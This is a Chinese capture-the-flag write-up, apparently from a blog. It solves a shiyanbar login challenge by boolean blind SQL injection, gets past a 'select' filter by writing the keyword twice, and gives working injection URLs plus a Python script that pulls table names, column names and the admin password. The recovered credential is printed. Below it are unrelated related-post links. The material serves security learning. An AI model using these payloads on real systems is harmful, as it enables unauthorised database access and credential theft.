实验吧——看起来有点难(sql盲注)
题目地址:http://ctf5.shiyanbar.com/basic/inject/
首先当然是拿admin/admin来试试啊,多次测试发现,有两种错误提示
1.数据库连接失败!
2.登录失败,错误的用户名和密码
用户名为admin时都是提示"登录失败,错误的用户名和密码",而为其他任何字符串时都提示"数据库连接失败!",可以知道用户名存在注入,且这里为布尔盲注。


于是直接构造注入语句(表和列的信息都存在mysql的一个叫 information_schema 的数据库里,可以直接从这里面爆破表名,列名,通过ascii码和substr()文本剪切来一个一个字母猜解,只要and 后面的条件为真,那么就应该提示 "登录失败,错误的用户名和密码")
http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and ascii(substr(( select group_concat(table_name) from information_schema.tables ),1,1))<97-- -&pass=admin&action=login
但是发现注入好像被拦截了

不过仔细看可以发现,这里只是检测了是否有select关键字,如果有则弹窗提示,而且过滤掉select,后台的sql语句便变成

不知道后台过滤逻辑是怎样的,这里先尝试双写绕过(有的过滤只过滤一次,过滤掉一个select后,剩下的又组成select),http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and ascii(substr(( seselectlect group_concat(table_name) from information_schema.tables ),1,1))<97-- -&pass=admin&action=login
虽然还是会提示不要注入,但我们的语句是执行成功了,所以提不提示无所谓

然后可以使用二分法慢慢手注,不过我当然是选择写脚本啦。。。
我发现访问这个网站很慢,跑的话需要太长时间了,于是脚本中我就去掉了不常用的字符,只保留字母数字和下划线还有逗号,其实想提高速度也可以用二分法,不过我懒得改了,直接放上我的脚本吧(写的很丑,见谅)
# -*- coding: utf-8 -*-
import requests strall='_,:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' headers={
'Content-Type': 'application/x-www-form-urlencoded'
} def func1():
result=''
for index in range(1,1000):
for i in strall:
url="http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and ascii(substr(( seselectlect group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))=ascii('{}')-- -&pass=admin&action=login".format(str(index),i)
print url
r=requests.get(url=url,headers=headers)
r.encoding='gbk'
if r.text.find('登录失败,错误的用户名和密码'.decode('utf-8','ignore').encode('gbk','ignore')) >=0:
result+=i
print result
break
elif i=='':
print result
return def func2():
result=''
for index in range(1,1000):
for i in strall:
url="http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and ascii(substr(( seselectlect group_concat(column_name) from information_schema.columns where table_name='admin'),{},1))=ascii('{}')-- -&pass=admin&action=login".format(str(index),i)
print url
r=requests.get(url=url,headers=headers)
r.encoding='gbk'
if r.text.find('登录失败,错误的用户名和密码'.decode('utf-8','ignore').encode('gbk','ignore')) >=0:
result+=i
print result
break
elif i=='':
print result
return def func3():
result=''
for index in range(1,1000):
for i in strall:
url="http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and ascii(substr(( selselectect concat(username,':',password) from admin ),{},1))=ascii('{}')-- -&pass=admin&action=login".format(str(index),i)
print url
r=requests.get(url=url,headers=headers)
r.encoding='gbk'
if r.text.find('登录失败,错误的用户名和密码'.decode('utf-8','ignore').encode('gbk','ignore')) >=0:
result+=i
print result
break
elif i=='':
print result
return #func1()
#raw_input('ok')
#func2()
#raw_input('ok')
func3()
raw_input('done')
以前写脚本图方便确实没写二分法,也没觉得慢,因为访问网站的速度快,不一会就跑完了,不过这次真的跑了好久。。。
忍不了这速度的就直接上sqlmap吧
最后猜解出来了admin:idnuenna,拿到登录页登录即可


实验吧——看起来有点难(sql盲注)的更多相关文章
- [转载]sql 盲注之正则表达式攻击
[转载]sql 盲注之正则表达式攻击 -----------------------------------------MYSQL 5+-------------------------------- ...
- SQL盲注攻击的简单介绍
1 简介 1.1 普通SQL注入技术概述 目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]: (1) 脚本注入式的攻击 (2) 恶意用户输 ...
- SQL盲注学习-布尔型
本次实验还是使用sqli-labs环境.在开始SQL盲注之前首先学习一下盲注需要用到的基础语法. 1.left()函数:left(str,lenth)它返回具有指定长度的字符串的左边部分. left( ...
- (转)SQL盲注攻击的简单介绍
转:http://hi.baidu.com/duwang1104/item/65a6603056aee780c3cf2968 1 简介 1.1 普通SQL注入技术概述 目前没有对SQL ...
- WEB安全番外第四篇--关于SQL盲注
一.SQL盲注: 看不到回显的,无法从返回直接读取到数据库内容的对数据的猜解,属于盲注. 二.第一种--基于布尔类型的盲注: 这种很简单,最典型的例子,就是挖SQL注入的时候常用的: ''' http ...
- 第九届极客大挑战——Geek Chatroom(sql盲注)
首先观察这个web应用的功能,可以任意留言,也可以搜索留言,当然我还用cansina扫描过网站,查看过源码,抓包查看过header等.没发现其他提示的情况下断定这就是个sql注入,可能存在的注入点呢, ...
- metinfo小于v6.2.0版本通杀SQL盲注漏洞分析
0x01 此漏洞是由于未将decode解码后的数据过滤,而直接带入SQL语句中,从而导致SQL盲注漏洞. 0x02 漏洞分析:此处复现为metinfo6.1.3版本,漏洞最初产生为:/app/syst ...
- 小白日记42:kali渗透测试之Web渗透-SQL盲注
SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换 ...
- WEB安全实战(一)SQL盲注
前言 好长时间没有写过东西了,不是不想写,仅仅只是是一直静不下心来写点东西.当然,拖了这么长的时间,也总该写点什么的.近期刚刚上手安全方面的东西,作为一个菜鸟,也本着学习的目的,就谈谈近期接触到的安全 ...
随机推荐
- c# 第18节 数组的操作
本节内容: 1:遍历数组 2:查找数组元素 3:数组排序 4:数组合并与拆分 5:数组的添加 1:遍历数组 遍历数组方法: :数组.length ###获取数组长度 :数组.GetLowerBound ...
- shell 大小关系 -eq -ne
-eq:等于-ne:不等于-le:小于等于-ge:大于等于-lt:小于-gt:大于
- eth0: ERROR while getting interface flags: No such device的解决方法、Linux怎么修改IP以及ping不通的处理方法
首先输入ifconfig命令查看当前的ip信息 发现没有eth0这个网卡设备,有ens33 接着输入命令:ifconfig ens33 192.168.2.110 -- 修改临时ip地址,系统 ...
- Python27期:错误宝典
错误信息1:SyntaxError:invalid syntax--无效语法 解决办法:变量名不能使用关键字如下图: 错误信息2:TypeError:'str' object is not calla ...
- LG2272/BZOJ1093 「ZJOI2007」最大半连通子图 Tarjan缩点+DAG求最长链
问题描述 LG2272 BZOJ1093 题解 观察半联通的定义,发现图中的一些结点,构成的链一定是一个半联通子图. 此时存在的环可能会干扰求解,于是\(\mathrm{Tarjan}\)缩点. 于是 ...
- luogu P1084疫情控制 二分
链接 loj luogu太水不要去了. 思路 二分. 每个军队在一定的时间内越往上越好. 注意一个军队可以跨过1去帮别的. 把能到1脚下的点都存下来特判. 有一种情况是这个子树内只有一个军队,但这个军 ...
- STL map 简介
STL map 简介 转载于:http://www.cnblogs.com/TianFang/archive/2006/12/30/607859.html 1.目录 map简介 map的功能 使用ma ...
- Python爬虫练习
例一:爬取信息关于'gbk' codec can't encode character '\xa0' in position 6: illegal 错误提示: #初始化class 得到对象 draw= ...
- 微信小程序前端调用后台方法并获取返回值
wxml代码 <wxs src="../../wxs/string.wxs" module="tools" /> <!-- 调用tools.i ...
- windows php 下的各个版本的资源下载地址
历史版本: https://windows.php.net/downloads/releases/archives/ 新版本: https://windows.php.net/download/ 找的 ...